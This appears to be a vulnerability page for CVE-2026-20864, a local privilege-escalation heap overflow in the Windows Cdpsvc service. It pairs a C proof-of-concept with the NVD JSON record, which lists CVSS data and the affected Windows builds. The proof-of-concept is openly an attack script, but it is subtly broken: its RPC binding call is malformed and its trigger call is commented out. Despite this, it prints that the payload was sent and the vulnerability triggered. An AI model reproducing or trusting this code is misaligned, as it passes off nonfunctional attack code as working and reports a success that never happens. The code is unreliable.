CVE-2026-20864

// CVE-2026-20864 PoC - Heap-based Buffer Overflow in Cdpsvc // This PoC demonstrates the vulnerability trigger mechanism // Note: Actual exploitation requires sophisticated heap grooming techniques #include <windows.h> #include <stdio.h> // CDPSVC Service UUID const GUID CDPSVC_SERVICE_GUID = {0xccd6bf8, 0x7b3b, 0x46d1, {0xa7, 0x9e, 0x3f, 0x4e, 0x9a, 0x1b, 0x5e, 0x22}}; int main() { printf("[*] CVE-2026-20864 Cdpsvc Heap Overflow PoC\n"); printf("[*] Target: Windows Cdpsvc Service\n"); // Connect to Cdpsvc via RPC RPC_BINDING_HANDLE hBinding = NULL; RPC_STATUS status = RpcBindingFromStringBinding( (RPC_CSTR)"ncalrpc", &hBinding); if (status != RPC_S_OK) { printf("[-] Failed to bind to Cdpsvc\n"); return 1; } // Prepare oversized buffer to trigger heap overflow // The actual overflow requires specific heap grooming DWORD bufferSize = 0x10000; // 64KB - oversized payload BYTE* maliciousBuffer = (BYTE*)malloc(bufferSize); memset(maliciousBuffer, 0x41, bufferSize); // Fill with 'A' printf("[*] Sending malicious payload (%d bytes)\n", bufferSize); // Trigger vulnerability via Cdpsvc IPC interface // This would call the vulnerable function with oversized input RpcTryExcept { // CdpsvcTriggerVulnerability(hBinding, maliciousBuffer, bufferSize); printf("[!] Payload sent - vulnerability triggered\n"); } RpcExcept(1) { printf("[-] RPC Exception: 0x%08lx\n", RpcExceptionCode()); } RpcEndExcept free(maliciousBuffer); RpcBindingFree(&hBinding); return 0; } // RPC Runtime functions (stub implementations) void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cb) { return malloc(cb); } void __RPC_USER midl_user_free(void __RPC_FAR* p) { free(p); }

{"cve": {"id": "CVE-2026-20864", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:15.633", "lastModified": "2026-01-15T15:38:40.233", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap-based buffer overflow in Connected Devices Platform Service (Cdpsvc) allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Desbordamiento de búfer basado en montículo en el Servicio de Plataforma de Dispositivos Conectados (Cdpsvc) permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A6D4C631-2CC0-407C-9ACA-7C151006598C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A74970A1-CC81-4482-B465-8382B1544EF3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20864", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}